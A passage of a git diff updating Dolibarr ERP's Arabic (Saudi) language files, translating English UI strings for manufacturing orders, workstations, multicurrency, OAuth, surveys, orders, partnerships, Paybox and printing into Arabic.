-ErrorAVirtualProductCantBeUsedIntoABomOrMo=A kit can't be used into a BOM or a MO -Workstation=Workstation -Workstations=Workstations -WorkstationsDescription=Workstations management -WorkstationSetup = Workstations setup -WorkstationSetupPage = Workstations setup page -WorkstationList=Workstation list -WorkstationCreate=Add new workstation -ConfirmEnableWorkstation=Are you sure you want to enable workstation %s ? -EnableAWorkstation=Enable a workstation -ConfirmDisableWorkstation=Are you sure you want to disable workstation %s ? -DisableAWorkstation=Disable a workstation +NewMO=أمر تصنيع جديد +QtyToProduce=الكمية للإنتاج +DateStartPlannedMo=تاريخ البدء المخطط +DateEndPlannedMo=تاريخ الانتهاء المخطط +KeepEmptyForAsap=فارغ يعني "في أقرب وقت ممكن" +EstimatedDuration=المدة المقدرة +EstimatedDurationDesc=المدة المقدرة لتصنيع (أو تفكيك) هذا المنتج باستخدام قائمة المواد +ConfirmValidateBom=هل أنت متأكد من أنك تريد التحقق من BOM بالمرجع %s (ستتمكن من استخدامه لإنشاء أوامر تصنيع جديدة) +ConfirmCloseBom=هل أنت متأكد من أنك تريد إلغاء قائمة المواد (لن تتمكن من استخدامها لإنشاء أوامر تصنيع جديدة بعد الآن)؟ +ConfirmReopenBom=هل أنت متأكد من أنك تريد إعادة فتح قائمة المواد (ستتمكن من استخدامها لإنشاء أوامر تصنيع جديدة) +StatusMOProduced=أنتجت +QtyFrozen=الكمية المجمدة +QuantityFrozen=الكمية المجمدة +QuantityConsumedInvariable=عند تعيين هذه العلامة ، تكون الكمية المستهلكة دائمًا هي القيمة المحددة وليست مرتبطة بالكمية المنتجة. +DisableStockChange=تم تعطيل تغيير المخزون +DisableStockChangeHelp=عند تعيين هذه العلامة ، لا يوجد تغيير في المخزون في هذا المنتج ، مهما كانت الكمية المستهلكة +BomAndBomLines=فواتير المواد والخطوط +BOMLine=خط BOM +WarehouseForProduction=مستودع للإنتاج +CreateMO=إنشاء MO +ToConsume=تستهلك +ToProduce=لانتاج +ToObtain=ليحصل +QtyAlreadyConsumed=الكمية المستهلكة بالفعل +QtyAlreadyProduced=الكمية المنتجة بالفعل +QtyRequiredIfNoLoss=الكمية المطلوبة في حالة عدم وجود خسارة (كفاءة التصنيع 100%%) +ConsumeOrProduce=تستهلك أو تنتج +ConsumeAndProduceAll=تستهلك وأنتج كل شيء +Manufactured=مصنعة +TheProductXIsAlreadyTheProductToProduce=المنتج المراد إضافته هو بالفعل المنتج المطلوب إنتاجه. +ForAQuantityOf=للحصول على كمية لإنتاج %s +ForAQuantityToConsumeOf=للحصول على كمية لتفكيك %s +ConfirmValidateMo=هل أنت متأكد أنك تريد التحقق من صحة أمر التصنيع هذا؟ +ConfirmProductionDesc=بالنقر فوق "%s" ، ستتحقق من صحة الاستهلاك و / أو الإنتاج لمجموعة الكميات. سيؤدي هذا أيضًا إلى تحديث المخزون وتسجيل حركات المخزون. +ProductionForRef=إنتاج %s +CancelProductionForRef=إلغاء تخفيض مخزون المنتج للمنتج %s +TooltipDeleteAndRevertStockMovement=حذف السطر وعودة حركة المخزون +AutoCloseMO=أغلق أمر التصنيع تلقائيًا إذا تم الوصول إلى الكميات المراد استهلاكها والإنتاج +NoStockChangeOnServices=لا يوجد تغيير في المخزون على الخدمات +ProductQtyToConsumeByMO=لا تزال كمية المنتج تستهلك بواسطة MO المفتوح +ProductQtyToProduceByMO=لا تزال كمية المنتج التي يتم إنتاجها بواسطة MO المفتوح +AddNewConsumeLines=أضف سطرًا جديدًا للاستهلاك +AddNewProduceLines=أضف خطًا جديدًا للإنتاج +ProductsToConsume=منتجات للاستهلاك +ProductsToProduce=المنتجات المطلوب إنتاجها +UnitCost=تكلفة الوحدة +TotalCost=التكلفة الإجمالية +BOMTotalCost=تكلفة إنتاج قائمة مكونات الصنف هذه استنادًا إلى تكلفة كل كمية ومنتج يتم استهلاكه (استخدم سعر التكلفة إذا تم تحديده ، وإلا فإن متوسط السعر المرجح إذا تم تحديده ، وإلا فإن أفضل سعر شراء) +BOMTotalCostService=If the "Workstation" module is activated and a workstation is defined by default on the line, then the calculation is "quantity (converted into hours) x workstation ahr", otherwise "quantity (converted into hours) x cost price of the service" +GoOnTabProductionToProduceFirst=يجب أن تكون قد بدأت الإنتاج أولاً لإغلاق أمر التصنيع (انظر علامة التبويب "%s"). لكن يمكنك إلغاء ذلك. +ErrorAVirtualProductCantBeUsedIntoABomOrMo=لا يمكن استخدام مجموعة في BOM أو MO +Workstation=محطة العمل +Workstations=محطات العمل +WorkstationsDescription=إدارة محطات العمل +WorkstationSetup = إعداد محطات العمل +WorkstationSetupPage = صفحة إعداد محطات العمل +WorkstationList=قائمة محطات العمل +WorkstationCreate=أضف محطة عمل جديدة +ConfirmEnableWorkstation=هل أنت متأكد من أنك تريد تمكين محطة العمل %s ؟ +EnableAWorkstation=قم بتمكين محطة العمل +ConfirmDisableWorkstation=هل أنت متأكد من أنك تريد تعطيل محطة العمل %s ؟ +DisableAWorkstation=تعطيل محطة العمل DeleteWorkstation=حذف -NbOperatorsRequired=Number of operators required -THMOperatorEstimated=Estimated operator THM -THMMachineEstimated=Estimated machine THM -WorkstationType=Workstation type -Human=Human -Machine=Machine -HumanMachine=Human / Machine -WorkstationArea=Workstation area -Machines=Machines -THMEstimatedHelp=This rate makes it possible to define a forecast cost of the item -BOM=Bill Of Materials -CollapseBOMHelp=You can define the default display of the details of the nomenclature in the configuration of the BOM module -MOAndLines=Manufacturing Orders and lines +NbOperatorsRequired=عدد المشغلين المطلوب +THMOperatorEstimated=المشغل المقدر THM +THMMachineEstimated=آلة تقدير THM +WorkstationType=نوع محطة العمل +Human=بشر +Machine=آلة +HumanMachine=الإنسان / الآلة +WorkstationArea=منطقة محطة العمل +Machines=الآلات +THMEstimatedHelp=هذا المعدل يجعل من الممكن تحديد التكلفة المتوقعة للصنف +BOM=فاتورة المواد +CollapseBOMHelp=يمكنك تحديد العرض الافتراضي لتفاصيل التسمية في تكوين وحدة قائمة المواد +MOAndLines=أوامر التصنيع والخطوط +MoChildGenerate=توليد الطفل Mo +ParentMo=أحد الوالدين MO +MOChild=طفل مو +BomCantAddChildBom=The nomenclature %s is already present in the tree leading to the nomenclature %s +BOMNetNeeds = BOM Net Needs +BOMProductsList=BOM's products +BOMServicesList=BOM's services diff --git a/htdocs/langs/ar_SA/multicurrency.lang b/htdocs/langs/ar_SA/multicurrency.lang index bfcbd11fb7c..c5d2eb19b62 100644 --- a/htdocs/langs/ar_SA/multicurrency.lang +++ b/htdocs/langs/ar_SA/multicurrency.lang @@ -1,22 +1,38 @@ # Dolibarr language file - Source file is en_US - multicurrency -MultiCurrency=Multi currency -ErrorAddRateFail=Error in added rate -ErrorAddCurrencyFail=Error in added currency -ErrorDeleteCurrencyFail=Error delete fail -multicurrency_syncronize_error=Synchronization error: %s -MULTICURRENCY_USE_RATE_ON_DOCUMENT_DATE=Use the date of the document to find the currency rate, instead of using the latest known rate -multicurrency_useOriginTx=When an object is created from another, keep the original rate from the source object (otherwise use the latest known rate) +MultiCurrency=متعدد العملات +ErrorAddRateFail=خطأ في المعدل المضاف +ErrorAddCurrencyFail=خطأ في العملة المضافة +ErrorDeleteCurrencyFail=خطأ حذف فشل +multicurrency_syncronize_error=خطأ التزامن: %s +MULTICURRENCY_USE_RATE_ON_DOCUMENT_DATE=استخدم تاريخ المستند للعثور على سعر العملة ، بدلاً من استخدام أحدث سعر معروف +multicurrency_useOriginTx=عندما يتم إنشاء كائن من كائن آخر ، احتفظ بالمعدل الأصلي من الكائن المصدر (وإلا استخدم أحدث معدل معروف) CurrencyLayerAccount=CurrencyLayer API -CurrencyLayerAccount_help_to_synchronize=You must create an account on website %s to use this functionality.
      Get your API key.
      If you use a free account, you can't change the source currency (USD by default).
      If your main currency is not USD, the application will automatically recalculate it.

      You are limited to 1000 synchronizations per month. -multicurrency_appId=API key -multicurrency_appCurrencySource=Source currency -multicurrency_alternateCurrencySource=Alternate source currency -CurrenciesUsed=Currencies used -CurrenciesUsed_help_to_add=Add the different currencies and rates you need to use on your proposals, orders etc. -rate=rate -MulticurrencyReceived=Received, original currency -MulticurrencyRemainderToTake=Remaining amount, original currency -MulticurrencyPaymentAmount=Payment amount, original currency -AmountToOthercurrency=Amount To (in currency of receiving account) -CurrencyRateSyncSucceed=Currency rate synchronization done successfuly -MULTICURRENCY_USE_CURRENCY_ON_DOCUMENT=Use the currency of the document for online payments +CurrencyLayerAccount_help_to_synchronize=يجب عليك إنشاء حساب على موقع الويب %s لاستخدام هذه الوظيفة.
      احصل على مفتاح API .
      إذا كنت تستخدم حسابًا مجانيًا ، فلا يمكنك تغيير عملة المصدر (افتراضيًا بالدولار الأمريكي).
      إذا كانت عملتك الرئيسية ليست الدولار الأمريكي ، فسيقوم التطبيق تلقائيًا بإعادة حسابها.

      أنت مقيد بـ 1000 مزامنة شهريًا. +multicurrency_appId=مفتاح API +multicurrency_appCurrencySource=عملة المصدر +multicurrency_alternateCurrencySource=عملة المصدر البديلة +CurrenciesUsed=العملات المستخدمة +CurrenciesUsed_help_to_add=أضف العملات والأسعار المختلفة التي تحتاج إلى استخدامها في طلبات الخاصة بك ، ، الطلبات إلخ. +rate=معدل +MulticurrencyReceived=العملة الأصلية المستلمة +MulticurrencyRemainderToTake=المبلغ المتبقي ، العملة الأصلية +MulticurrencyPaymentAmount=المبلغ المدفوع ، العملة الأصلية +AmountToOthercurrency=المبلغ إلى (بعملة حساب الاستقبال) +CurrencyRateSyncSucceed=تمت مزامنة سعر العملة بنجاح +MULTICURRENCY_USE_CURRENCY_ON_DOCUMENT=استخدم عملة المستند للمدفوعات عبر الإنترنت +TabTitleMulticurrencyRate=قائمة الأسعار +ListCurrencyRate=قائمة أسعار الصرف للعملة +CreateRate=إنشاء معدل +FormCreateRate=معدل الخلق +FormUpdateRate=تعديل معدل +successRateCreate=تمت إضافة سعر العملة %s إلى قاعدة البيانات +ConfirmDeleteLineRate=هل أنت متأكد من أنك تريد إزالة سعر %s للعملة %s في تاريخ %s؟ +DeleteLineRate=معدل واضح +successRateDelete=معدل حذف +errorRateDelete=خطأ عند حذف السعر +successUpdateRate=تم التعديل +ErrorUpdateRate=خطأ عند تغيير المعدل +Codemulticurrency=رمز العملة +UpdateRate=تغيير المعدل +CancelUpdate=إلغاء +NoEmptyRate=يجب ألا يكون حقل السعر فارغًا diff --git a/htdocs/langs/ar_SA/oauth.lang b/htdocs/langs/ar_SA/oauth.lang index 45c04f8cbf0..c9e7124dfc9 100644 --- a/htdocs/langs/ar_SA/oauth.lang +++ b/htdocs/langs/ar_SA/oauth.lang @@ -9,8 +9,9 @@ HasAccessToken=تم إنشاء رمز مميز وحفظها في قاعدة ال NewTokenStored=تم استلام الرمز وحفظه ToCheckDeleteTokenOnProvider=انقر هنا للتحقق / حذف التفويض المحفوظ بواسطة موفر %s OAuth TokenDeleted=حذف رمز +GetAccess=Click here to get a token RequestAccess=انقر هنا لطلب / تجديد الوصول والحصول على رمز جديد -DeleteAccess=انقر هنا لحذف رمز +DeleteAccess=Click here to delete the token UseTheFollowingUrlAsRedirectURI=استخدم عنوان URL التالي باعتباره Redirect URI عند إنشاء بيانات الاعتماد الخاصة بك مع موفر OAuth الخاص بك: ListOfSupportedOauthProviders=أضف موفري رمز OAuth2 المميز. بعد ذلك ، انتقل إلى صفحة مشرف موفر OAuth لإنشاء / الحصول على معرّف وسر OAuth وحفظهما هنا. بمجرد الانتهاء من ذلك ، قم بتشغيل علامة التبويب الأخرى لإنشاء الرمز المميز الخاص بك. OAuthSetupForLogin=صفحة لإدارة (إنشاء / حذف) رموز OAuth المميزة @@ -30,7 +31,11 @@ OAUTH_GITHUB_SECRET=OAuth GitHub Secret OAUTH_URL_FOR_CREDENTIAL=انتقل إلى هذه الصفحة لإنشاء أو الحصول على معرف OAuth والسري OAUTH_STRIPE_TEST_NAME=اختبار شريط OAuth OAUTH_STRIPE_LIVE_NAME=OAuth Stripe Live -OAUTH_ID=معرف OAuth +OAUTH_ID=OAuth Client ID OAUTH_SECRET=سر OAuth +OAUTH_TENANT=OAuth tenant OAuthProviderAdded=تمت إضافة موفر OAuth AOAuthEntryForThisProviderAndLabelAlreadyHasAKey=إدخال OAuth لهذا الموفر وهذا التصنيف موجود بالفعل +URLOfServiceForAuthorization=URL provided by OAuth service for authentication +Scopes=Permissions (Scopes) +ScopeUndefined=Permissions (Scopes) undefined (see previous tab) diff --git a/htdocs/langs/ar_SA/opensurvey.lang b/htdocs/langs/ar_SA/opensurvey.lang index c2dbbc9fc4b..024d4ac0344 100644 --- a/htdocs/langs/ar_SA/opensurvey.lang +++ b/htdocs/langs/ar_SA/opensurvey.lang @@ -1,7 +1,7 @@ # Dolibarr language file - Source file is en_US - opensurvey Survey=تصويت Surveys=استطلاعات الرأي -OrganizeYourMeetingEasily=Organize your meetings and polls easily. First select the type of poll... +OrganizeYourMeetingEasily=تنظيم اجتماعاتك واستطلاعات الرأي بسهولة. حدد أولاً نوع الاستطلاع ... NewSurvey=استطلاع جديد OpenSurveyArea=منطقة استطلاعات الرأي AddACommentForPoll=يمكنك إضافة تعليق إلى استطلاع ... @@ -11,7 +11,7 @@ PollTitle=عنوان الإستطلاع ToReceiveEMailForEachVote=تتلقى رسالة بريد إلكتروني لكل صوت TypeDate=تاريخ نوع TypeClassic=نوع القياسية -OpenSurveyStep2=Select your dates among the free days (grey). The selected days are green. You can unselect a day previously selected by clicking again on it +OpenSurveyStep2=حدد التواريخ من بين الأيام المجانية (باللون الرمادي). الأيام المختارة خضراء. يمكنك إلغاء تحديد اليوم المحدد مسبقًا بالنقر فوقه مرة أخرى RemoveAllDays=إزالة جميع أيام CopyHoursOfFirstDay=نسخة ساعات من اليوم الأول RemoveAllHours=إزالة كل ساعة @@ -35,7 +35,7 @@ TitleChoice=تسمية الاختيار ExportSpreadsheet=نتيجة تصدير جدول ExpireDate=الحد من التاريخ NbOfSurveys=عدد من استطلاعات الرأي -NbOfVoters=No. of voters +NbOfVoters=عدد الناخبين SurveyResults=النتائج PollAdminDesc=يسمح لك بتغيير جميع خطوط التصويت على هذا الاستطلاع مع زر "تحرير". يمكنك، أيضا، إزالة عمود أو خط مع٪ الصورة. يمكنك أيضا إضافة عمود جديد مع٪ الصورة. 5MoreChoices=5 المزيد من الخيارات @@ -48,16 +48,16 @@ AddEndHour=إضافة نهاية ساعة votes=التصويت (ق) NoCommentYet=لم يتم نشر تعليقات لهذا الاستطلاع حتى الآن CanComment=يمكن للناخبين التعليق في استطلاع -YourVoteIsPrivate=This poll is private, nobody can see your vote. -YourVoteIsPublic=This poll is public, anybody with the link can see your vote. +YourVoteIsPrivate=هذا الاستطلاع خاص ، لا أحد يستطيع رؤية تصويتك. +YourVoteIsPublic=هذا الاستطلاع عام ، ويمكن لأي شخص لديه الرابط رؤية تصويتك. CanSeeOthersVote=يمكن للناخبين التصويت يرى الآخرين -SelectDayDesc=For each selected day, you can choose, or not, meeting hours in the following format:
      - empty,
      - "8h", "8H" or "8:00" to give a meeting's start hour,
      - "8-11", "8h-11h", "8H-11H" or "8:00-11:00" to give a meeting's start and end hour,
      - "8h15-11h15", "8H15-11H15" or "8:15-11:15" for the same thing but with minutes. +SelectDayDesc=لكل يوم محدد ، يمكنك اختيار أو عدم اختيار ساعات الاجتماع بالتنسيق التالي:
      - فارغ ،
      - "8h" أو "8H" أو "8:00" لإعطاء ساعة بدء الاجتماع ،
      - "8- 11 "أو" 8h-11h "أو" 8H-11H "أو" 8: 00-11: 00 "لإعطاء ساعة بداية الاجتماع وانتهائه ،
      -" 8h15-11h15 "أو" 8H15-11H15 "أو" 8: 15-11: 15 "لنفس الشيء لكن مع دقائق. BackToCurrentMonth=العودة إلى الشهر الحالي ErrorOpenSurveyFillFirstSection=هل لا شغل في القسم الأول من إنشاء الإستطلاع ErrorOpenSurveyOneChoice=أدخل خيار واحد على الأقل ErrorInsertingComment=كان هناك خطأ أثناء إدخال تعليقك MoreChoices=إدخال المزيد من الخيارات للناخبين -SurveyExpiredInfo=The poll has been closed or voting delay has expired. +SurveyExpiredInfo=تم إغلاق الاستطلاع أو انتهاء صلاحية تأخير التصويت. EmailSomeoneVoted=قد ملأت%s خط. يمكنك العثور على استطلاع الرأي الخاص بك على الرابط:٪ الصورة -ShowSurvey=Show survey -UserMustBeSameThanUserUsedToVote=You must have voted and use the same user name that the one used to vote, to post a comment +ShowSurvey=إظهار الاستطلاع +UserMustBeSameThanUserUsedToVote=يجب أن تكون قد صوتت وتستخدم نفس اسم المستخدم الذي استخدمه الشخص للتصويت ، لنشر تعليق diff --git a/htdocs/langs/ar_SA/orders.lang b/htdocs/langs/ar_SA/orders.lang index 8618a7f1379..8f01cab8254 100644 --- a/htdocs/langs/ar_SA/orders.lang +++ b/htdocs/langs/ar_SA/orders.lang @@ -1,4 +1,5 @@ # Dolibarr language file - Source file is en_US - orders +OrderExists=تم بالفعل فتح أمر مرتبط بهذا الاقتراح ، لذلك لم يتم إنشاء أي أمر آخر تلقائيًا OrdersArea=منطقة أوامر العملاء SuppliersOrdersArea=منطقة أوامر الشراء OrderCard=بطاقة الامر @@ -17,7 +18,7 @@ ToOrder=قم بالامر MakeOrder=قم بالامر SupplierOrder=أمر شراء SuppliersOrders=اوامر الشراء -SaleOrderLines=Sales order lines +SaleOrderLines=سطور أوامر المبيعات PurchaseOrderLines=بنود امر الشراء SuppliersOrdersRunning=أوامر الشراء الحالية CustomerOrder=امر بيع @@ -68,6 +69,8 @@ CreateOrder=إنشاء أمر RefuseOrder=رفض الامر ApproveOrder=الموافقة على الامر Approve2Order=أمر الموافقة (المستوى الثاني) +UserApproval=مستخدم للموافقة عليه +UserApproval2=مستخدم للموافقة (المستوى الثاني) ValidateOrder=اعتماد الامر UnvalidateOrder=عدم اعتماد الامر DeleteOrder=حذف الامر @@ -102,6 +105,8 @@ ConfirmCancelOrder=هل أنت متأكد أنك تريد إلغاء هذا ال ConfirmMakeOrder=هل تريد بالتأكيد تأكيد قيامك بهذا الطلب على %s ؟ GenerateBill=توليد الفاتورة ClassifyShipped=تصنيف تسليمها +PassedInShippedStatus=تسليم مصنفة +YouCantShipThis=لا يمكنني تصنيف هذا. يرجى التحقق من أذونات المستخدم DraftOrders=مسودة أوامر DraftSuppliersOrders=مسودة أوامر الشراء OnProcessOrders=أوامر قيد المعالجة @@ -124,8 +129,8 @@ SupplierOrderReceivedInDolibarr=أمر الشراء %s استلم %s SupplierOrderSubmitedInDolibarr=تم تقديم امر الشراء %s SupplierOrderClassifiedBilled=امر الشراء %s فى وضع فوترة OtherOrders=أوامر أخرى -SupplierOrderValidatedAndApproved=Supplier order is validated and approved : %s -SupplierOrderValidated=Supplier order is validated : %s +SupplierOrderValidatedAndApproved=تم التحقق من صحة طلب المورد واعتماده: %s +SupplierOrderValidated=تم التحقق من صحة طلب المورد: %s ##### Types de contacts ##### TypeContact_commande_internal_SALESREPFOLL=مندوب متابعة أوامر البيع TypeContact_commande_internal_SHIPPING=مندوب متابعة الشحن @@ -153,7 +158,7 @@ PDFEdisonDescription=نموذج امر بسيط PDFProformaDescription=نموذج فاتورة أولية كامل CreateInvoiceForThisCustomer=فوترة الامر CreateInvoiceForThisSupplier=فوترة الامر -CreateInvoiceForThisReceptions=Bill receptions +CreateInvoiceForThisReceptions=استقبال الفواتير NoOrdersToInvoice=لا أوامر للفوترة CloseProcessedOrdersAutomatically=تصنيف "تمت معالجتها" جميع الاوامر المحددة. OrderCreation=إنشاء الامر diff --git a/htdocs/langs/ar_SA/partnership.lang b/htdocs/langs/ar_SA/partnership.lang index fb8315f25bd..c1fd7b31d30 100644 --- a/htdocs/langs/ar_SA/partnership.lang +++ b/htdocs/langs/ar_SA/partnership.lang @@ -19,15 +19,17 @@ ModulePartnershipName=إدارة الشراكة PartnershipDescription=وحدة إدارة الشراكة PartnershipDescriptionLong= وحدة إدارة الشراكة -Partnership=Partnership -AddPartnership=Add partnership -CancelPartnershipForExpiredMembers=Partnership: Cancel partnership of members with expired subscriptions -PartnershipCheckBacklink=Partnership: Check referring backlink +Partnership=شراكة +Partnerships=Partnerships +AddPartnership=أضف شراكة +CancelPartnershipForExpiredMembers=الشراكة: إلغاء شراكة الأعضاء المنتهية صلاحيتها +PartnershipCheckBacklink=الشراكة: تحقق من إحالة الروابط الخلفية # # Menu # NewPartnership=شراكة جديدة +NewPartnershipbyWeb= Your partnership was added successfully. ListOfPartnerships=قائمة الشراكات # @@ -36,57 +38,59 @@ ListOfPartnerships=قائمة الشراكات PartnershipSetup=إعدادات الشراكة PartnershipAbout=حول الشراكة PartnershipAboutPage=صفحة حول الشراكة -partnershipforthirdpartyormember=Partner status must be set on a 'thirdparty' or a 'member' -PARTNERSHIP_IS_MANAGED_FOR=Partnership managed for -PARTNERSHIP_BACKLINKS_TO_CHECK=Backlinks to check -PARTNERSHIP_NBDAYS_AFTER_MEMBER_EXPIRATION_BEFORE_CANCEL=Nb of days before cancelling status of a partnership when a subscription has expired -ReferingWebsiteCheck=Check of website referring -ReferingWebsiteCheckDesc=You can enable a feature to check that your partners has added a backlink to your website domains on their own website. +partnershipforthirdpartyormember=يجب تعيين حالة الشريك على "طرف ثالث" أو "عضو" +PARTNERSHIP_IS_MANAGED_FOR=إدارة الشراكة لـ +PARTNERSHIP_BACKLINKS_TO_CHECK=الروابط الخلفية المراد التحقق منها +PARTNERSHIP_NBDAYS_AFTER_MEMBER_EXPIRATION_BEFORE_CANCEL=عدد الأيام قبل إلغاء حالة الشراكة عند انتهاء صلاحية الاشتراك +ReferingWebsiteCheck=تحقق من إحالة الموقع +ReferingWebsiteCheckDesc=يمكنك تمكين ميزة للتحقق من أن شركائك قد أضافوا رابطًا خلفيًا إلى مجالات موقع الويب الخاص بك على موقع الويب الخاص بهم. +PublicFormRegistrationPartnerDesc=يمكن أن توفر لك Dolibarr عنوان URL / موقع ويب عام للسماح للزوار الخارجيين بطلب الانضمام إلى برنامج الشراكة. # # Object # -DeletePartnership=Delete a partnership -PartnershipDedicatedToThisThirdParty=Partnership dedicated to this third party -PartnershipDedicatedToThisMember=Partnership dedicated to this member +DeletePartnership=حذف شراكة +PartnershipDedicatedToThisThirdParty=شراكة مخصصة لهذا الطرف الثالث +PartnershipDedicatedToThisMember=شراكة مكرسة لهذا العضو DatePartnershipStart=تاريخ البدء DatePartnershipEnd=تاريخ الانتهاء -ReasonDecline=Decline reason -ReasonDeclineOrCancel=Decline reason -PartnershipAlreadyExist=Partnership already exist -ManagePartnership=Manage partnership -BacklinkNotFoundOnPartnerWebsite=Backlink not found on partner website -ConfirmClosePartnershipAsk=Are you sure you want to cancel this partnership? -PartnershipType=Partnership type -PartnershipRefApproved=Partnership %s approved - -# -# Template Mail -# -SendingEmailOnPartnershipWillSoonBeCanceled=Partnership will soon be canceled -SendingEmailOnPartnershipRefused=Partnership refused -SendingEmailOnPartnershipAccepted=Partnership accepted -SendingEmailOnPartnershipCanceled=Partnership canceled - -YourPartnershipWillSoonBeCanceledTopic=Partnership will soon be canceled -YourPartnershipRefusedTopic=Partnership refused -YourPartnershipAcceptedTopic=Partnership accepted -YourPartnershipCanceledTopic=Partnership canceled - -YourPartnershipWillSoonBeCanceledContent=We inform you that your partnership will soon be canceled (Backlink not found) -YourPartnershipRefusedContent=We inform you that your partnership request has been refused. -YourPartnershipAcceptedContent=We inform you that your partnership request has been accepted. -YourPartnershipCanceledContent=We inform you that your partnership has been canceled. - -CountLastUrlCheckError=Number of errors for last URL check -LastCheckBacklink=Date of last URL check -ReasonDeclineOrCancel=Decline reason - -# -# Status -# +ReasonDecline=سبب الرفض +ReasonDeclineOrCancel=سبب الرفض +PartnershipAlreadyExist=الشراكة موجودة بالفعل +ManagePartnership=إدارة الشراكة +BacklinkNotFoundOnPartnerWebsite=الرابط الخلفي غير موجود على موقع الشريك +ConfirmClosePartnershipAsk=هل أنت متأكد أنك تريد إلغاء هذه الشراكة؟ +PartnershipType=نوع الشراكة +PartnershipRefApproved=تمت الموافقة على الشراكة %s +KeywordToCheckInWebsite=إذا كنت تريد التحقق من وجود كلمة رئيسية معينة في موقع الويب الخاص بكل شريك ، فحدد هذه الكلمة الأساسية هنا PartnershipDraft=حوالة مصرفية PartnershipAccepted=قبلت PartnershipRefused=رفض PartnershipCanceled=ملغي PartnershipManagedFor=الشركاء هم + +# +# Template Mail +# +SendingEmailOnPartnershipWillSoonBeCanceled=سيتم إلغاء الشراكة قريبًا +SendingEmailOnPartnershipRefused=رفضت الشراكة +SendingEmailOnPartnershipAccepted=قبلت الشراكة +SendingEmailOnPartnershipCanceled=تم إلغاء الشراكة + +YourPartnershipWillSoonBeCanceledTopic=سيتم إلغاء الشراكة قريبًا +YourPartnershipRefusedTopic=رفضت الشراكة +YourPartnershipAcceptedTopic=قبلت الشراكة +YourPartnershipCanceledTopic=تم إلغاء الشراكة + +YourPartnershipWillSoonBeCanceledContent=نعلمك أنه سيتم إلغاء شراكتك قريبًا (لم يتم العثور على Backlink) +YourPartnershipRefusedContent=نعلمك أنه تم رفض طلب الشراكة الخاص بك. +YourPartnershipAcceptedContent=نعلمك أنه تم قبول طلب الشراكة الخاص بك. +YourPartnershipCanceledContent=نعلمك أنه تم إلغاء شراكتك. + +CountLastUrlCheckError=عدد الأخطاء الخاصة بآخر فحص لعنوان URL +LastCheckBacklink=تاريخ آخر فحص لعنوان URL +ReasonDeclineOrCancel=سبب الرفض + +NewPartnershipRequest=طلب شراكة جديد +NewPartnershipRequestDesc=يسمح لك هذا النموذج بطلب أن تكون جزءًا من أحد برامج الشراكة الخاصة بنا. إذا كنت بحاجة إلى مساعدة لملء هذا النموذج ، فيرجى الاتصال عبر البريد الإلكتروني %s . + diff --git a/htdocs/langs/ar_SA/paybox.lang b/htdocs/langs/ar_SA/paybox.lang index fc28a4d1f3c..f17ca026b2a 100644 --- a/htdocs/langs/ar_SA/paybox.lang +++ b/htdocs/langs/ar_SA/paybox.lang @@ -1,31 +1,30 @@ # Dolibarr language file - Source file is en_US - paybox PayBoxSetup=إعداد وحدة PayBox -PayBoxDesc=تعرض صفحات نموذج الوحدة هذه الدفعات على Paybox من قبل العملاء. هذا يمكن استخدامها للدفع مجانا أو للدفع على عنصر دوليبار معين (الفاتورة، طلب، ...) +PayBoxDesc=تقدم هذه الوحدة صفحات للسماح بالدفع على Paybox من قبل العملاء. يمكن استخدام هذا للدفع المجاني أو للدفع على شيء Dolibarr معين (فاتورة ، أمر ، ...) FollowingUrlAreAvailableToMakePayments=تتوفر عناوين URL التالية لتقديم صفحة إلى عميل لإجراء دفعة على عناصر دوليبار PaymentForm=نموذج الدفع -WelcomeOnPaymentPage=Welcome to our online payment service +WelcomeOnPaymentPage=مرحبًا بك في خدمة الدفع عبر الإنترنت ThisScreenAllowsYouToPay=هذه الشاشة تسمح لك بإجراء الدفع عبر الإنترنت إلى %s. ThisIsInformationOnPayment=هذه هي معلومات عن الدفع للقيام به ToComplete=لإكمال YourEMail=البريد الإلكتروني لتلقي تأكيد الدفع Creditor=دائن PaymentCode=رمز الدفع -PayBoxDoPayment=Pay with Paybox +PayBoxDoPayment=ادفع باستخدام Paybox YouWillBeRedirectedOnPayBox=سيتم إعادة توجيهك على صفحة Paybox الأمنة لإدخال معلومات بطاقة الائتمان الخاصة بك Continue=التالي -SetupPayBoxToHavePaymentCreatedAutomatically=Setup your Paybox with url %s to have payment created automatically when validated by Paybox. +SetupPayBoxToHavePaymentCreatedAutomatically=قم بإعداد Paybox الخاص بك بعنوان url %s حتى يتم إنشاء الدفع تلقائيًا عند التحقق من صحته بواسطة Paybox. YourPaymentHasBeenRecorded=تؤكد هذه الصفحة أنه قد تم تسجيل دفعتك. شكرا لكم. -YourPaymentHasNotBeenRecorded=Your payment has NOT been recorded and the transaction has been canceled. Thank you. +YourPaymentHasNotBeenRecorded=لم يتم تسجيل دفعتك وتم إلغاء المعاملة. شكرًا لك. AccountParameter=معلمات الحساب UsageParameter=معلمات الاستخدام InformationToFindParameters=مساعدة للعثور على معلومات الحساب الخاص بك %s PAYBOX_CGI_URL_V2=Url من Paybox CGI وحدة للدفع -VendorName=اسم البائع CSSUrlForPaymentForm=CSS style sheet url لنموذج الدفع NewPayboxPaymentReceived=تلقى الدفع Paybox الجديد NewPayboxPaymentFailed=دفع Paybox جديد حاول ولكنه فشل -PAYBOX_PAYONLINE_SENDEMAIL=Email notification after payment attempt (success or fail) +PAYBOX_PAYONLINE_SENDEMAIL=إشعار بالبريد الإلكتروني بعد محاولة الدفع (نجاح أو فشل) PAYBOX_PBX_SITE=قيمة PBX SITE PAYBOX_PBX_RANG=قيمة PBX رانج PAYBOX_PBX_IDENTIFIANT=قيمة PBX ID -PAYBOX_HMAC_KEY=HMAC key +PAYBOX_HMAC_KEY=مفتاح HMAC diff --git a/htdocs/langs/ar_SA/printing.lang b/htdocs/langs/ar_SA/printing.lang index 01b13693845..9f6cf3a34ab 100644 --- a/htdocs/langs/ar_SA/printing.lang +++ b/htdocs/langs/ar_SA/printing.lang @@ -10,7 +10,7 @@ ListDrivers=قائمة برامج التشغيل PrintTestDesc=قائمة الطابعات. FileWasSentToPrinter=وأرسل ملف٪ s إلى طابعة ViaModule=عبر الوحدة -NoActivePrintingModuleFound=No active driver to print document. Check setup of module %s. +NoActivePrintingModuleFound=لا يوجد برنامج تشغيل نشط لطباعة الوثيقة. تحقق من إعداد الوحدة النمطية %s. PleaseSelectaDriverfromList=يرجى تحديد برنامج تشغيل من القائمة. PleaseConfigureDriverfromList=يرجى تكوين برنامج التشغيل المحدد من القائمة. SetupDriver=إعداد برنامج التشغيل @@ -19,7 +19,7 @@ UserConf=الإعداد لكل مستخدم PRINTGCP_INFO=جوجل أوث الإعداد API PRINTGCP_AUTHLINK=المصادقة 